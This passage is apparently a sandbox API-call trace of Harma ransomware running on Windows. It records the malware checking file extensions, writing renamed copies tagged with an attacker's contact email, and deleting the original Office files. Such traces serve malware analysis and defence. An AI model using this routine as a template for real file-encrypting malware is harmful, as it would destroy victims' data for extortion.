CloseHandle (hObject=0x1f4) returned 1 [0175.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0175.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.749] lstrlenW (lpString=".doc") returned 4 [0175.749] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0175.749] lstrlenW (lpString=".docx") returned 5 [0175.749] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0175.749] lstrlenW (lpString=".pdf") returned 4 [0175.749] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0175.749] lstrlenW (lpString=".xls") returned 4 [0175.749] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0175.749] lstrlenW (lpString=".xlsx") returned 5 [0175.749] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0175.749] lstrlenW (lpString=".ppt") returned 4 [0175.749] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0175.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.749] lstrlenW (lpString=".zip") returned 4 [0175.750] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0175.750] lstrlenW (lpString=".rar") returned 4 [0175.750] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0175.750] lstrlenW (lpString=".bz2") returned 4 [0175.750] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0175.750] lstrlenW (lpString=".7z") returned 3 [0175.750] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0175.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.750] lstrlenW (lpString=".dbf") returned 4 [0175.750] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0175.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.750] lstrlenW (lpString=".1cd") returned 4 [0175.750] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0175.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.750] lstrlenW (lpString=".jpg") returned 4 [0175.750] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0175.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.750] lstrlenW (lpString=".doc") returned 4 [0175.750] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0175.750] lstrlenW (lpString=".docx") returned 5 [0175.750] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0175.750] lstrlenW (lpString=".pdf") returned 4 [0175.750] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0175.750] lstrlenW (lpString=".xls") returned 4 [0175.750] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0175.750] lstrlenW (lpString=".xlsx") returned 5 [0175.750] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0175.750] lstrlenW (lpString=".ppt") returned 4 [0175.750] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0175.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.751] lstrlenW (lpString=".zip") returned 4 [0175.751] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0175.751] lstrlenW (lpString=".rar") returned 4 [0175.751] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0175.751] lstrlenW (lpString=".bz2") returned 4 [0175.751] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0175.751] lstrlenW (lpString=".7z") returned 3 [0175.751] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0175.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.751] lstrlenW (lpString=".dbf") returned 4 [0175.751] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0175.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.751] lstrlenW (lpString=".1cd") returned 4 [0175.751] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0175.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe") returned 66 [0175.751] lstrlenW (lpString=".jpg") returned 4 [0175.751] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0175.751] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0175.751] lstrlenW (lpString="ACERECR.DLL") returned 11 [0175.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0176.146] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x3a1ff1c | out: lpFileSize=0x3a1ff1c*=20944) returned 1 [0176.146] CloseHandle (hObject=0x1f4) returned 1 [0176.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0176.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0176.146] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.146] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0176.147] GetLastError () returned 0x0 [0176.147] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x51d0, lpOverlapped=0x0) returned 1 [0176.459] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0x51e0, lpOverlapped=0x0) returned 1 [0176.461] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.461] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0176.461] SetEndOfFile (hFile=0x1d0) returned 1 [0176.461] CloseHandle (hObject=0x1d0) returned 1 [0176.461] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.461] SetEndOfFile (hFile=0x1f4) returned 1 [0176.462] CloseHandle (hObject=0x1f4) returned 1 [0176.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0176.462] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0176.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.463] lstrlenW (lpString=".doc") returned 4 [0176.463] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.463] lstrlenW (lpString=".docx") returned 5 [0176.463] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0176.463] lstrlenW (lpString=".pdf") returned 4 [0176.463] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.463] lstrlenW (lpString=".xls") returned 4 [0176.463] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.463] lstrlenW (lpString=".xlsx") returned 5 [0176.463] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0176.463] lstrlenW (lpString=".ppt") returned 4 [0176.463] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.463] lstrlenW (lpString=".zip") returned 4 [0176.463] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.463] lstrlenW (lpString=".rar") returned 4 [0176.463] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.463] lstrlenW (lpString=".bz2") returned 4 [0176.463] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.463] lstrlenW (lpString=".7z") returned 3 [0176.463] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.463] lstrlenW (lpString=".dbf") returned 4 [0176.463] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.464] lstrlenW (lpString=".1cd") returned 4 [0176.464] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.464] lstrlenW (lpString=".jpg") returned 4 [0176.464] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.464] lstrlenW (lpString=".doc") returned 4 [0176.464] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0176.464] lstrlenW (lpString=".docx") returned 5 [0176.464] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0176.464] lstrlenW (lpString=".pdf") returned 4 [0176.464] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0176.464] lstrlenW (lpString=".xls") returned 4 [0176.464] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0176.464] lstrlenW (lpString=".xlsx") returned 5 [0176.464] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0176.464] lstrlenW (lpString=".ppt") returned 4 [0176.464] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0176.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.464] lstrlenW (lpString=".zip") returned 4 [0176.464] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0176.464] lstrlenW (lpString=".rar") returned 4 [0176.464] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0176.464] lstrlenW (lpString=".bz2") returned 4 [0176.464] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0176.464] lstrlenW (lpString=".7z") returned 3 [0176.464] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0176.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.465] lstrlenW (lpString=".dbf") returned 4 [0176.465] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0176.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.465] lstrlenW (lpString=".1cd") returned 4 [0176.465] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0176.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0176.465] lstrlenW (lpString=".jpg") returned 4 [0176.465] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0176.465] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0176.465] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19 [0176.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0176.466] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x3a1ff1c | out: lpFileSize=0x3a1ff1c*=55680) returned 1 [0176.466] CloseHandle (hObject=0x1f4) returned 1 [0176.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0176.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0176.467] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.467] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0176.468] GetLastError () returned 0x0 [0176.468] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0xd980, lpOverlapped=0x0) returned 1 [0176.509] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0xd990, lpOverlapped=0x0) returned 1 [0176.511] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.512] WriteFile (in: hFile=0x1d0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0176.512] SetEndOfFile (hFile=0x1d0) returned 1 [0176.914] CloseHandle (hObject=0x1d0) returned 1 [0177.047] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.047] SetEndOfFile (hFile=0x1f4) returned 1 [0177.111] CloseHandle (hObject=0x1f4) returned 1 [0177.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0177.111] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0177.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.111] lstrlenW (lpString=".doc") returned 4 [0177.111] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0177.112] lstrlenW (lpString=".docx") returned 5 [0177.112] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0177.112] lstrlenW (lpString=".pdf") returned 4 [0177.112] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0177.112] lstrlenW (lpString=".xls") returned 4 [0177.112] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0177.112] lstrlenW (lpString=".xlsx") returned 5 [0177.112] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0177.112] lstrlenW (lpString=".ppt") returned 4 [0177.112] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0177.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.112] lstrlenW (lpString=".zip") returned 4 [0177.112] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0177.112] lstrlenW (lpString=".rar") returned 4 [0177.112] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0177.112] lstrlenW (lpString=".bz2") returned 4 [0177.112] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0177.112] lstrlenW (lpString=".7z") returned 3 [0177.112] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0177.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.113] lstrlenW (lpString=".dbf") returned 4 [0177.113] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0177.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.113] lstrlenW (lpString=".1cd") returned 4 [0177.113] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0177.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.113] lstrlenW (lpString=".jpg") returned 4 [0177.113] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0177.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.113] lstrlenW (lpString=".doc") returned 4 [0177.113] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0177.113] lstrlenW (lpString=".docx") returned 5 [0177.113] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0177.113] lstrlenW (lpString=".pdf") returned 4 [0177.113] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0177.113] lstrlenW (lpString=".xls") returned 4 [0177.113] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0177.113] lstrlenW (lpString=".xlsx") returned 5 [0177.113] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0177.113] lstrlenW (lpString=".ppt") returned 4 [0177.114] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0177.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.114] lstrlenW (lpString=".zip") returned 4 [0177.114] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0177.114] lstrlenW (lpString=".rar") returned 4 [0177.114] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0177.114] lstrlenW (lpString=".bz2") returned 4 [0177.114] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0177.114] lstrlenW (lpString=".7z") returned 3 [0177.114] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0177.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.114] lstrlenW (lpString=".dbf") returned 4 [0177.114] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0177.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.114] lstrlenW (lpString=".1cd") returned 4 [0177.114] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0177.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0177.114] lstrlenW (lpString=".jpg") returned 4 [0177.114] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0177.114] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0177.114] lstrlenW (lpString="OARPMANR.DLL") returned 12 [0177.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0177.116] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x3a1ff1c | out: lpFileSize=0x3a1ff1c*=11656) returned 1 [0177.116] CloseHandle (hObject=0x1f4) returned 1 [0177.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll")) returned 0x20 [0177.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0177.116] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0177.117] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.117] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a1fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\OARPMANR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\oarpmanr.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0177.118] GetLastError () returned 0x0 [0177.118] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x2d88, lpOverlapped=0x0) returned 1 [0177.120] WriteFile (in: hFile=0x1d4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3a1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x3a1fc9c*=0x2d90, lpOverlapped=0x0) returned 1 [0177.121] ReadFile (in: hFile=0x1f4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x3a1fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.121] WriteFile (in: hFile=0x1d4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, 